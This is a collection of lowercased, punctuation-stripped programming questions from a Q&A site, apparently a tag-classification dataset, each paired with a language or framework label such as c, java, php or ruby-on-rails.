learning gnu c 2.4 cowsdf   i m reading through <a href= http://nongnu.askapache.com/c-prog-book/learning_gnu_c.html  rel= nofollow >learning gnu c</a> and <a href= http://nongnu.askapache.com/c-prog-book/learning_gnu_c.html#cowsdf  rel= nofollow >section 2.4</a> is titled  cowsdf .    what does <strong>cowsdf</strong> mean  is it some mysterious programming acronym or nonsense or something very obvious i ve missed,c
how to use information from a file in c  so we are trying to create a calculation for comparing ratings of movies given to us by users. we have separated this into different teams for our class project. i have been tasked with creating the calculation that reads from the file output from a different team and then creates an output using the calculation i come up with. reading from the file is fine however i have not been able to figure out how to use that information for calculation.    this is my problem area:   <pre><code>    long int similarity; #define maxlinesize 80 file* mytextfile; char ch; char linebuf[maxlinesize] = {  \0  }; char *person [10] = {  \0  }; char *movie [10] = {  \0  }; char *rating [10] = {  \0  };   mytextfile = fopen( c:\\users\\owner\\desktop\\movierating.txt    r );  if(mytextfile == null){     printf( failed ); }   fgets (linebuf  maxlinesize - 1  mytextfile);  while ( !feof (mytextfile) &amp;&amp; !ferror (mytextfile) ) {     sscanf ( linebuf   %s %s %s   person  movie  rating);     printf( \n person = %s \n movie = %s \n rating = %s \n   person movie rating);     fgets (linebuf  maxlinesize - 1  mytextfile);  } long int per = atoi(person[10]); long int mov = atoi(movie[10]); long int rat = atoi(rating[10]); { similarity = (per + rat) * (per + rat); return (similarity); printf( \n similarity is %i\n   similarity); getchar (); }  getchar(); getchar (); return 0;  } </code></pre>   hopefully i have explained this right,c
"how to deselect one image when user selects other image in android studio  here is the code of selection    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code> holder.tvtreatmentarea.setonclicklistener(new view.onclicklistener() {
             @override
             public void onclick(view v) {
 
                 selectedareaslist[position] = !selectedareaslist[position];
 
                 if (selectedareaslist[position]) {
                     holder.layouttreatmentareas.setbackgrounddrawable(context.getresources().getdrawable(r.drawable.background_circular_selected));
                     holder.tvtreatmentarea.settextcolor(context.getresources().getcolor(r.color.white));
                     holder.imgtreatmentselectedstatus.setimageresource(r.drawable.ic_check_circle_black_24_px);
                     if (mcallbacks != null) {
                         mcallbacks.onbuttonclicked(treatmentareaslist.get(position).getprice()   added   treatmentareaslist.get(position).getarea());
                     }
                 } else {
                     holder.layouttreatmentareas.setbackgrounddrawable(context.getresources().getdrawable(r.drawable.background_circular));
                     holder.tvtreatmentarea.settextcolor(context.getresources().getcolor(r.color.treatment_clinic_header));
                     holder.imgtreatmentselectedstatus.setimageresource(r.drawable.oval);
                     if (mcallbacks != null) {
                         mcallbacks.onbuttonclicked(treatmentareaslist.get(position).getprice()   removed   treatmentareaslist.get(position).getarea());
                     }
                 }
             }
         });</code></pre>
 </div>
 </div>
     how to deselect previously selected image when user selects other image in android studio. i am using recycler view in which i inflated images and one image get selected i want to deselect the other image. is it possible to save reference of previously selected image in recycler view",android
incompatible types: int cannot be converted to string in an array  can t figure out whats wrong. cant really fine the same type of duplicate but maybe i missed it. still really new so sorry if it is a duplicate .    sorting_2.java:25: error: incompatible types: int cannot be converted to string                                 sorting sorting = new sorting(lastname  firstname  age  insurancecompany  roomnum);                                                                                    ^ note: some messages have been simplified; recompile with -xdiags:verbose to get full output 1 error   <pre><code>import java.io.*; import java.util.*;  public class sorting { public string lastname; public string firstname; public int age; public string insurancecompany; public int roomnum;  //public string tostring() //{     //return name +      + population +      + state;     //return string.format( %-13s %-17s %9d   lastname  firstname  age  insurancecompany roomnum); //}  public sorting(string l  string f  string i  int a  int r) {     lastname = l;     firstname = f;     age = a;     insurancecompany = i;     roomnum = r; }    }  class lastnamecomarator implements comparator&lt;sorting&gt; { public int compare(sorting a  sorting b) {      return a.lastname.comparetoignorecase(a.lastname); } } class firstnamecomparator implements comparator&lt;sorting&gt; { public int compare(sorting a  sorting b) {     return a.firstname.comparetoignorecase(b.firstname); } } class insurancecompanycomparator implements comparator&lt;sorting&gt; { public int compare(sorting a  sorting b) {     return a.insurancecompany.comparetoignorecase(b.insurancecompany); } } class agecomparator implements comparator&lt;sorting&gt; { public int compare(sorting a  sorting b) {     if (a.age &lt; b.age) return -1;     else if (b.age &lt; a.age) return 1;      else return 0; } } class roomnumcomparator implements comparator&lt;sorting&gt; { public int compare(sorting a  sorting b) {     if (a.roomnum &lt; b.roomnum) return -1;     else if (b.roomnum &lt; a.roomnum) return 1;     else return 0; } } </code></pre>   another program   <pre><code>import java.io.*; import java.util.*;  public class sorting_2 { public static void main(string[] args) {     try     {         string filename = args[0];         arraylist&lt;sorting&gt; patient = new arraylist&lt;sorting&gt;();         scanner scan = new scanner ( new file (filename) );          while (scan.hasnext())         {             string line = scan.nextline();             string[] tokens = line.split(   );              string lastname = tokens[0];             string firstname = tokens[1];             int age = integer.parseint(tokens[2]);             string insurancecompany = tokens[3];             int roomnum = integer.parseint(tokens[4]);              sorting sorting = new sorting(lastname  firstname  age    insurancecompany  roomnum);             patient.add(sorting);         }         string comparisontype = args [1];         if (comparisontype.equals( lastname ))         {             collections.sort(patient  new lastnamecomarator());         }         else if (comparisontype.equals( firstname ))         {             collections.sort(patient  new firstnamecomparator());         }         else if (comparisontype.equals( age ))         {             collections.sort(patient new agecomparator());         }         else if (comparisontype.equals( insurancecompany ))         {             collections.sort(patient  new insurancecompanycomparator());         }         else if (comparisontype.equals( roomnum ))         {             collections.sort(patient  new roomnumcomparator());         }         system.out.println();         system.out.printf( %-13s %-17s %-9s %-10s %9s%n    lastname    firstname    age    insurancecompany    roomnum );          for(sorting c : patient)         {             system.out.println(c);         }     }     catch (filenotfoundexception ex)     {         ex.printstacktrace();     } } } </code></pre>,java
how to convert a string into a mathematical expression in php  have stored mathemetical function as string in mysql table. below is the example.   <h2>table contains two columns condition and formula.</h2>   in condition i have saved as $x &lt;= 10<br> and in formula i have saved the string as   $x*20    i am getting $x from an input field  now how can i convert the above string so if it meets the condition then it will multiply by 20 and fetch the output. can anyone help me please.,php
starting with javascript - framework   i don t know much javascript - just little of core language  but that can be learnd - no problem. i want to get started writing simple demo animations/games with canvas.     what i m not sure about is correct ways of embedding javascript in pages to make resonably cross-browser (say without ie). should i just start with vanilla js or use some framework like jquery from start which can help me shorter code and cross-browser      or will starting with framework will make me understand less details of js itself,javascript
datagridview size changes automatically according to the form s size  i have a datagridview in a form i want it s position to be 1 inch from left  top  right and i want it s height to be 60% of the form. i used anchor to all direction but then the space left under the grid id absoulot and not proportional. i do not want to use dock to top because i want some space between the top and the grid thanks.,c#
how to use asp.net membership for user defined permissions  i have a simple asp.net mvc 3 application. i have the database i designed for the application  which corresponds to a domain model (in an app.domain assembly). i auto-generated the application services membership tables and added them to the application database. membership creation is working fine. i created a  permission  table which has a composite pk made up of userid (from the auto-generated aspnet_users table) and contentid (from the content table holding the application content). the idea is to allow users to allocate permissions to other users for the content they create. my plan is to then place logic in the controllers that goes something like: collapse | copy code   <pre><code>guid currentuser = (guid)membership.getuser().provideruserkey; int[] accessible = (from p in context.permissions                          where p.userid == currentuser                          select p.contentid).toarray(); </code></pre>   then to get the content for the current user  something like this: collapse | copy code   <pre><code>ienumerable&lt;content&gt; content = context.content             .where(x =&gt; x.publicaccess &lt; 3              || accessible.contains(x.contentid));&lt;/content&gt; </code></pre>   if i have made any sense  can anyone tell me if this is a normal way to handle user defined permissions. also  this code doesn t work because it won t cast the linq to an int[]. any help with that,asp.net
c# search result from contains string class contains list for find string <pre><code>    public class workinglist     {         public string name { get; set; }          public bool working { get; set; }     } </code></pre>   class workinglist is contains string    i want use like    <pre><code>       public list&lt;workinglist&gt; work = new list&lt;workinglist&gt;();         bool containscheck=false;        foreach(workinglist list in work)        {           if(list.name.equals( findname )) { containscheck = true; break }        } </code></pre>   i want know easy get list contains string method!    using linq   or anymethod / and    <pre><code>          public class topclass           {              public list&lt;workinglist&gt; work = new list&lt;workinglist&gt;();               public string topname { get; set; }           } </code></pre>   i want know easy way topclass.work.name contains string result,c#
how to test comfortable mexican sofa   i am new to comfortable mexican sofa cms. i have installed it and created few snippets and few pages.     i am now interested how this i can test on local machine so i could see how the content of the page looks like  how can see the page with the snippets loaded     when i click on a link to a page that i have created  it just says:   <pre><code>it works!  this is the default web page for this server.  the web server software is running but no content has been added  yet. </code></pre>,ruby-on-rails
using int32 session variable as datasource parameter  i am scratching my head over this for three hours now. so i am coming to you for suggestions.    i have a session vaiable that stores the user id of the currently logged user.    it is an int32  and i set it like this:   <pre><code>session[ useridnumber ] = convert.toint32(userinfo.uid); </code></pre>   on the page in question  i have a datasource that specifies the use of this variable as the parameter driving the query:    <img src= https://i.stack.imgur.com/lekdd.png  alt= setup >    when i test the datasouce  it gets two records  as expected:    <img src= https://i.stack.imgur.com/nwn6b.png  alt= tested >    on the page  i use the value to set a label:    <img src= https://i.stack.imgur.com/ojwga.png  alt= label >    but  when i test it all i get no records returned:    <img src= https://i.stack.imgur.com/jcrye.png  alt= end result >    i have specified it as an int32 in the xml on the datasouce:   <pre><code>&lt;selectparameters&gt;             &lt;asp:sessionparameter defaultvalue= 1  name= thisuserid  type= int32  sessionfield= useridnumber  /&gt;         &lt;/selectparameters&gt; </code></pre>   i am stuck. any ideas for me     thanks!,asp.net
sql rule to only display records with age between 26 and 38  i am trying to query data so only the records of people aged between 26 and 38 are shown. there is no age column and instead  i use the data of the birth column. the current sql code for where:   <pre><code>where student.dob = (year(now())-year([dob]))&gt;26         student.dob = (year(now())-year([dob]))&lt;38; </code></pre>   the query is inaccurate and it is not just displaying the records of people aged between 26 and 38.    i need help in identifying what may be causing this error.    any help would be greatly appreciated.,sql
rails best practice - return ar query + arbitrary data to view via controller   i m wondering what the best practice is for passing a query + arbitrary data from a rails controller to a view is     <pre><code># simple query product = product.find(id) # some data to append to our instance var and send to view extra_data =  some arbitrary string data   @view = hash.new @view[ product ]=product.attributes @view[ product ][ extra_data ]=extra_data </code></pre>   is there a better / cleaner / shorter way  maybe merging hashes      thanks!,ruby-on-rails
redirect user to previous link after login  question is quite simple. i have a php website and whenever a user comes in through a link that requires login  i want user to be redirected to login page and then  after he finish login  i want him to be redirected to link he tried to access when he came into the website.    and that s it...,php
dividing 1.0/0.0: output is infinity <pre><code>double d=1.0/0.0; </code></pre>   output is <code>infinity</code>   <pre><code>double d=1/0; </code></pre>   output is <code>arithmeticexception</code>.    what is difference between between these two  what is meaning of infinity here,java
is there a difference between function functionname() & var a = function()   i just started writing in javascript a few hours ago and i ve seen some code use:   <pre><code>var a = function()  function functionname() </code></pre>,javascript
select an image in a contenteditable div  with javascript  i want to select an image object in a contenteditable div. after the selection (in internet explorer) the selected image should have corners which can be dragged via mouse. i mean the same corners which usually appear  when i manually click the image.    this is the image which should be selected (corners should appear):   <pre><code>&lt;div id= editor  contenteditable= true &gt; &lt;img src= //www.google.com/images/logos/google_logo_41.png  id= google_logo &gt; &lt;/div&gt; </code></pre>   i already did a unsuccessful try in <a href= http://jsfiddle.net/4ynvv/7/  rel= nofollow >http://jsfiddle.net/4ynvv/7/</a>     does someone have a (crossbrowser) solution,javascript
how to make the div non-responsive to the screen size  <a href= https://i.stack.imgur.com/0ilks.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/0ilks.png  alt= enter image description here ></a>    see the attachment. i have 6 logos at the top and 7 logos at the bottom that sticks out of the screen. how to create the bottom div to be non-responsive,css
i want to update my c code with eliminating ctype.h library  i have written a c code with using ctype.h library . now i must update this code with the same output and i can t use ctype.h and string.h libraries . i think i should use new functions in it   but my math is not well and i don t know how can i do that . i searched about it but i couldn t find useful results . can you help me to update this code    this code works in this way : when i give a reverse sentence to it   it converts my sentence to usual.    example input: od uoy tnaw ot eunitnoc     output: do you want to continue     here is my code :   <pre><code>#include &lt;stdio.h&gt; #include &lt;ctype.h&gt;  int main() {    char sentence[100];    int ch  i  j  k;     for (i=0; i&lt;sizeof(sentence)-1; i++)         if ((sentence[i] = getchar()) ==  \n )             break;     sentence[i] =  \0 ;     for (j = 0; j &lt;=i; j++)    {        if(sentence[j]==    || sentence[j]== \0 )        {            for( k=j-1;sentence[k]!=    &amp;&amp; k&gt;=0;k--)            {                ch=sentence[k];                putchar(ch);            }            printf(   );          }      }      return 0; } </code></pre>,c
ios : using constraints to make 4s app look good on larger devices   i learned a little bit about constraints and added them to one of my scenes on my 4s app. however  it doesn t seem to solve my problem. on the iphone 4 there isn t enough real estate for everything and on the iphone 5 there is too much real estate at the bottom. the constraint i was working was is called top space to top layout guide. what am i missing  for some reason  i thought it would scale it depending on the size of the device. is there another technique i can use to solve my problem,ios
how to change the extension of the file  there are similar questions but my problem is a little more specific. i have a c code that takes file.txt and returns file.txt.rle when i am encoding by using rle algorithm. same way i decode that and want to write from file.txt.rle and return file.txt. the following code is what i am using as i go from file.txt to file.txt.rle:   <pre><code>char name[name_size]; if(sprintf(name   %s.rle   argv[1]) &gt;= sizeof(name)){     fprintf(stderr   destination file name is too long\n ); } while((o_fp = fopen(name   wb )) == null){     fprintf(stderr   can t create the file to be written\n );       exit(1); } </code></pre>   how can i accomplish to change the extension from file.txt.rle to file.txt when i decode  a full code won t help because i will use this in a code that decodes an encoded file.    note: the given will always be in .txt.rle format and the returning file should always convert it to .txt.,c
i m having trouble making child classes  i am working on a programming assignment which involves creating a class hierarchy for a test. the parent class is  question  and then the child classes are the types of questions. when i try to create an extension of  question   i get:  constructor question in class question cannot be applied to given types;   required: int int int string   found: no arguments   reason: actual and formal argument lists differ in length  i have tried to do some research on this but i m still having trouble understanding. if someone could help and explain what i m doing wrong that would be great! here is my code for  question :   <pre><code>package test.papers1;   public class question { int min_difficulty =0; int max_difficulty = 10; private int points; private int difficulty; private int answerspace; private string questiontext;  public question(int x  int y  int z  string s) {     points=x;     difficulty=y;     answerspace=z;     questiontext=s; }  @override public string tostring() {     string s;     s =  points:  + points +  difficulty:  + difficulty +  answer space:  + answerspace +  question:  + questiontext;     return s; }  public int getpoints() {     return points; } public int getdifficulty() {     return difficulty; } public int getanswerspace() {     return answerspace; } public string getquestiontext() {     return questiontext; } </code></pre>   }    and then for the child class  objective question :   <pre><code>package test.papers1;   public class objectivequestion extends question { </code></pre>,java
mysql query from subquery not working  i am trying to return a number based on the count of results from a table and to avoid having to count the results twice in the if statement i am using a subquery. however i get a syntax error when trying to run the query  the subquery i have tested by itself runs fine.    any ideas what is wrong with the query  the syntax looks correct to me   <pre><code>select if(daily_count&gt;8000 0 if(daily_count&gt;6000 1 2)) from (     select count(*) as daily_count     from orders201003     where date_format(date_sub(curdate()  interval 1 day)  %d-%m-%y ) =     date_format(reqdate  %d-%m-%y ) ) q </code></pre>   error message i get is:   <blockquote>    you have an error in your sql syntax.    check the manual that corresponds to   your mysql server version for the   right syntax to use near  select    count(*) as daily_count           from    orders201003  </blockquote>,mysql
android app without a layout  i m a totally noob on android  is there a way to execute an app without a layout  the process would be like: click app icon -> run some code (without prompting any window) -> display toast.,android
how to prevent scrolling effect when clicking  back   check www.cnn.com. if you scroll down  click one of the links near the bottom and click  back  in your browser you will see the top of the page loading first. after a while the browser  jumps  back to where it was when you clicked the link. in different browsers it might take shorter or longer  but it s really annoying. is there any known (or unknown) method to prevent this from happening  other than opening the links in a new window,html
refresh a listview if i change the content of the listitem  i have a listview in my android activity. and i populate the listview by sub-class the baseadaptor (which returns a view in getview() method).    what if in my click listener of a button in a list item view  i    <ul> <li>change the text of the textview in the list item view or</li> <li>change the dimension of the list item view by adding/removing children of the list item view</li> </ul>   what is an efficient to refresh my listview  i don t want the listview to re-trigger a query since there is no data change.    thank you.,android
actioncontroller::session::cookiestore::cookieoverflow when sending csv/xls file - rails 2.3.5  i have a page with a big graph on it with lots of params in the url when you work with it a bunch.     so my controller looks something like this:   <pre><code>def report    # gather data for report     respond_to do |format|       format.html       format.xls { send_xls_file(@campaigns.uniq) }       format.csv { send_csv_file(@campaigns.uniq)}    end    def send_xls_file(campaigns)     @campaigns = campaigns     report_name =  campaignreport.xls      response.headers[ content-disposition ] =  attachment; filename=#{report_name}    end    # send csv does is similar but creates a csv using fastercsv. </code></pre>   in the view for xls i create the excel doc    now when i have a very long url on the page and call either xls or csv  i get this error:   <pre><code>completed in 3189ms (view: 894  db: 108) | 200 ok [https://myapp.com/campaign_metrics/report mycampia%5b%5d=white+paper+1&amp;mycampia%5b%5d=talk+turkey+-+t&amp;mycampia%5b%5d=nicole+book+-+t&amp;mycampia%5b%5d=make+the+case+-+t&amp;mycampia%5b%5d=make+the+case+-+l&amp;mycampia%5b%5d=make+the+case+-+f&amp;mycampia%5b%5d=learn+sewings+-+t&amp;mycampia%5b%5d=learn+sewings+-+l&amp;mycampia%5b%5d=learn+sewings+-+f&amp;mycampia%5b%5d=keys+-+t&amp;mycampia%5b%5d=keys+-+l&amp;mycampia%5b%5d=keys+-+f&amp;mycampia%5b%5d=how+to+tie+-+f&amp;mycampia%5b%5d=cartoon&amp;mycampia%5b%5d=best+practice+sm+-+fb&amp;mycampia%5b%5d=5+reasons+flat+-+t&amp;mycampia%5b%5d=5+reasons+flat+-+l&amp;top_mycampia%5b%5d=678&amp;top_mycampia%5b%5d=681&amp;top_mycampia%5b%5d=682&amp;top_mycampia%5b%5d=683&amp;top_mycampia%5b%5d=685&amp;top_mycampia%5b%5d=686&amp;top_mycampia%5b%5d=687&amp;top_mycampia%5b%5d=688&amp;top_mycampia%5b%5d=689&amp;top_mycampia%5b%5d=690&amp;top_mycampia%5b%5d=691&amp;top_mycampia%5b%5d=692&amp;top_mycampia%5b%5d=693&amp;top_mycampia%5b%5d=694&amp;top_mycampia%5b%5d=695&amp;top_mycampia%5b%5d=696&amp;top_mycampia%5b%5d=697&amp;top_mycampia%5b%5d=698&amp;top_mycampia%5b%5d=699&amp;top_mycampia%5b%5d=700&amp;top_mycampia%5b%5d=701&amp;top_mycampia%5b%5d=702&amp;top_mycampia%5b%5d=703&amp;top_mycampia%5b%5d=704&amp;top_mycampia%5b%5d=705&amp;top_mycampia%5b%5d=706&amp;top_mycampia%5b%5d=707&amp;top_mycampia%5b%5d=709&amp;top_mycampia%5b%5d=710&amp;top_mycampia%5b%5d=722&amp;top_mycampia%5b%5d=723&amp;top_mycampia%5b%5d=724&amp;top_mycampia%5b%5d=725&amp;top_mycampia%5b%5d=726&amp;top_mycampia%5b%5d=728&amp;top_mycampia%5b%5d=729&amp;top_mycampia%5b%5d=730&amp;top_mycampia%5b%5d=731&amp;top_mycampia%5b%5d=732&amp;top_mycampia%5b%5d=733&amp;top_mycampia%5b%5d=734&amp;top_mycampia%5b%5d=735&amp;top_mycampia%5b%5d=736&amp;top_mycampia%5b%5d=737&amp;top_mycampia%5b%5d=738&amp;top_mycampia%5b%5d=739&amp;top_mycampia%5b%5d=740&amp;date_select_range=7%2f1%2f2012+-+12%2f31%2f2012&amp;submit_action=submit&amp;graph_option=monthly&amp;mycampia%5b%5d=white+paper+1&amp;mycampia%5b%5d=talk+turkey+-+t&amp;mycampia%5b%5d=nicole+book+-+t&amp;mycampia%5b%5d=make+the+case+-+t&amp;mycampia%5b%5d=make+the+case+-+l&amp;mycampia%5b%5d=make+the+case+-+f&amp;mycampia%5b%5d=learn+sewings+-+t&amp;mycampia%5b%5d=learn+sewings+-+l&amp;mycampia%5b%5d=learn+sewings+-+f&amp;mycampia%5b%5d=keys+-+t&amp;mycampia%5b%5d=keys+-+l&amp;mycampia%5b%5d=keys+-+f&amp;mycampia%5b%5d=how+to+tie+-+f&amp;mycampia%5b%5d=cartoon&amp;mycampia%5b%5d=best+practice+sm+-+fb&amp;mycampia%5b%5d=5+reasons+flat+-+t&amp;mycampia%5b%5d=5+reasons+flat+-+l&amp;date_select_range=7%2f1%2f2012+-+12%2f31%2f2012&amp;format=xls&amp;graph_option=monthly&amp;graphtype=actual&amp;report_type=export&amp;sort=campaign&amp;submit_action=submit&amp;top_mycampia%5b%5d=678&amp;top_mycampia%5b%5d=681&amp;top_mycampia%5b%5d=682&amp;top_mycampia%5b%5d=683&amp;top_mycampia%5b%5d=685&amp;top_mycampia%5b%5d=686&amp;top_mycampia%5b%5d=687&amp;top_mycampia%5b%5d=688&amp;top_mycampia%5b%5d=689&amp;top_mycampia%5b%5d=690&amp;top_mycampia%5b%5d=691&amp;top_mycampia%5b%5d=692&amp;top_mycampia%5b%5d=693&amp;top_mycampia%5b%5d=694&amp;top_mycampia%5b%5d=695&amp;top_mycampia%5b%5d=696&amp;top_mycampia%5b%5d=697&amp;top_mycampia%5b%5d=698&amp;top_mycampia%5b%5d=699&amp;top_mycampia%5b%5d=700&amp;top_mycampia%5b%5d=701&amp;top_mycampia%5b%5d=702&amp;top_mycampia%5b%5d=703&amp;top_mycampia%5b%5d=704&amp;top_mycampia%5b%5d=705&amp;top_mycampia%5b%5d=706&amp;top_mycampia%5b%5d=707&amp;top_mycampia%5b%5d=709&amp;top_mycampia%5b%5d=710&amp;top_mycampia%5b%5d=722&amp;top_mycampia%5b%5d=723&amp;top_mycampia%5b%5d=724&amp;top_mycampia%5b%5d=725&amp;top_mycampia%5b%5d=726&amp;top_mycampia%5b%5d=728&amp;top_mycampia%5b%5d=729&amp;top_mycampia%5b%5d=730&amp;top_mycampia%5b%5d=731&amp;top_mycampia%5b%5d=732&amp;top_mycampia%5b%5d=733&amp;top_mycampia%5b%5d=734&amp;top_mycampia%5b%5d=735&amp;top_mycampia%5b%5d=736&amp;top_mycampia%5b%5d=737&amp;top_mycampia%5b%5d=738&amp;top_mycampia%5b%5d=739&amp;top_mycampia%5b%5d=740&amp;visits=on] /!\ failsafe /!\  thu jan 03 12:33:51 +0000 2013 status: 500 internal server error actioncontroller::session::cookiestore::cookieoverflow /usr/lib64/ruby/gems/1.8/gems/actionpack-2.3.5/lib/action_controller/session/cookie_store.rb:102:in `call  /usr/lib64/ruby/gems/1.8/gems/actionpack-2.3.5/lib/action_controller/failsafe.rb:26:in `call  /usr/lib64/ruby/gems/1.8/gems/rack-1.0.1/lib/rack/lock.rb:11:in `call  /usr/lib64/ruby/gems/1.8/gems/rack-1.0.1/lib/rack/lock.rb:11:in `synchronize  /usr/lib64/ruby/gems/1.8/gems/rack-1.0.1/lib/rack/lock.rb:11:in `call  /usr/lib64/ruby/gems/1.8/gems/actionpack-2.3.5/lib/action_controller/dispatcher.rb:106:in `call  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/rack/request_handler.rb:96:in `process_request  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_request_handler.rb:516:in `accept_and_process_next_request  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_request_handler.rb:274:in `main_loop  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/classic_rails/application_spawner.rb:321:in `start_request_handler  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/classic_rails/application_spawner.rb:275:in `send  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/classic_rails/application_spawner.rb:275:in `handle_spawn_application  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/utils.rb:470:in `safe_fork  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/classic_rails/application_spawner.rb:270:in `handle_spawn_application  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server.rb:357:in `__send__  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server.rb:357:in `server_main_loop  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server.rb:206:in `start_synchronously  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server.rb:180:in `start  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/classic_rails/application_spawner.rb:149:in `start  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/spawn_manager.rb:219:in `spawn_rails_application  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server_collection.rb:132:in `lookup_or_add  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/spawn_manager.rb:214:in `spawn_rails_application  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server_collection.rb:82:in `synchronize  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server_collection.rb:79:in `synchronize  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/spawn_manager.rb:213:in `spawn_rails_application  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/spawn_manager.rb:132:in `spawn_application  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/spawn_manager.rb:275:in `handle_spawn_application  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server.rb:357:in `__send__  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server.rb:357:in `server_main_loop  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/lib/phusion_passenger/abstract_server.rb:206:in `start_synchronously  /usr/lib64/ruby/gems/1.8/gems/passenger-3.0.17/helper-scripts/passenger-spawn-server:99 </code></pre>   i am not intentionally storing anything in my sessions  it seems like rails is maybe putting the url into the session and its too big  any ideas,ruby-on-rails
how can i make my yelp button open the yelp page in a new tab   the html code for my yelp button is:   <pre><code>&lt;div id= yelp-biz-badge-plain-5vrt1xzjpln0xm5nfzs21g &gt;&lt;a href= http://www.yelp.com/biz/curvesetter-tutoring-los-angeles-2 &gt;check out curvesetter tutoring on yelp&lt;/a&gt;&lt;/div&gt;&lt;script type= text/javascript &gt;(function(d  t) {var g = d.createelement(t);var s = d.getelementsbytagname(t)[0];g.id =  yelp-biz-badge-script-plain-5vrt1xzjpln0xm5nfzs21g ;g.src =  //dyn.yelpcdn.com/biz_badge_js/en_us/plain/5vrt1xzjpln0xm5nfzs21g.js ;s.parentnode.insertbefore(g  s);}(document   script ));&lt;/script&gt; </code></pre>   i tried adding    <pre><code>target= _blank  </code></pre>   before href and a but it still doesn t open up in a new tab. any thoughts  thanks!,html
system assembly contents using ildasm  can i see the il code of system assembly in .net framework   i am using the following command on visual studio command prompt <code>ildasm c:\windows\assembly\system.dll</code> but it gives me the error  file  c:\windows\assembly\system.dll  not found or not a pe file,.net
how to get back value from model function  hi i m getting back an empty value from the below code. i do not know what went wrong. can some1 help me plz     <pre><code>class generatorscontroller &lt; applicationcontroller   before_action :set_generator  only: [:show  :edit  :update  :destroy]   # get /generators   # get /generators.json   def index     @generators = generator.all   end    # get /generators/1   # get /generators/1.json   def show   end    # get /generators/new   def new     @generator = generator.new   end    # get /generators/1/edit   def edit   end    # post /generators   # post /generators.json   def create         @generator = generator.new(generator_params)      @generator.choice = params[:choice]     if params[:choice] ==  randomly          @generator.random_generate(params[:primer_length] params[:random_primer_generated] params[:c_primer])     #elsif params[:choice] ==  no_of_atgc      #    @generator.no_atgc     #elsif params[:choice] ==  seating      #    @generator.seating     end      respond_to do |format|       if @generator.save         format.html { redirect_to @generator  notice:  generator was successfully created.  }         format.json { render action:  show   status: :created  location: @generator }       else         format.html { render action:  new  }         format.json { render json: @generator.errors  status: :unprocessable_entity }       end     end   end    # patch/put /generators/1   # patch/put /generators/1.json   def update     respond_to do |format|       if @generator.update(generator_params)         format.html { redirect_to @generator  notice:  generator was successfully updated.  }         format.json { head :no_content }       else         format.html { render action:  edit  }         format.json { render json: @generator.errors  status: :unprocessable_entity }       end     end   end    # delete /generators/1   # delete /generators/1.json   def destroy     @generator.destroy     respond_to do |format|       format.html { redirect_to generators_url }       format.json { head :no_content }     end   end    private     def set_generator       @generator = generator.find(params[:id])     end      def generator_params       params.require(:generator).permit(:primer_length  :choice  :random_primer_generated)     end end </code></pre>   in my model   <pre><code>class generator &lt; activerecord::base       attr_accessible :choice  :primer_length  :random_primer_generated  :genome_sample       belongs_to :result        def random_generate(primer_length random_primer_generated c_primer)          length = primer_length          length=length.to_i             chars =  atgc              seq =                length.times { seq &lt;&lt; chars[rand(chars.size)] }            self.random_primer_generated = seq            c_primer =bio::sequence::na.new(self.random_primer_generated.reverse)            self.c_primer=c_primer.complement.upcase       end  end </code></pre>   there s no error but i get back null value for the random_primer_generated and c_primer attribute,ruby-on-rails
digi intl. zegbee3 mesh error compiling java with net beans  i have coded according to digi  intl instructions java code with net beans to make  3 zigbee3 modules communicating with simple i/o port read.  also i added their libraries correctly into project but by some reason it give me all the time error:   <pre><code>xbeedevice mydevice = new xbeedevice(port  baud_rate);                               ^ class file for android.content.context not found 1 error even i am not using android. but when i run it prints me fynni output:  +----------------------------------------------+ |        send digital actuations sample        | +----------------------------------------------+  java.lang.unsatisfiedlinkerror: no rxtxserial in java.library.path thrown while loading gnu.io.rxtxcommdriver build successful (total time: 0 seconds) </code></pre>,java
aligning top of text with background image in list items  i m trying to set the text in <a href= http://www.inside-guides.co.uk/brentwood/pages/advertise.html  rel= nofollow >my list items here in the left nav</a> to be at the top of each image whehter single or double line  but can t get it to work correctly.     here s the css and an example background image li:   <pre><code>.benefits li  {font-size: 16px; padding-left: 25px; line-height: 2.1; }  li.social { background:url( /images/users.png ) 0% 50% no-repeat; } </code></pre>   any help much appreciated.,css
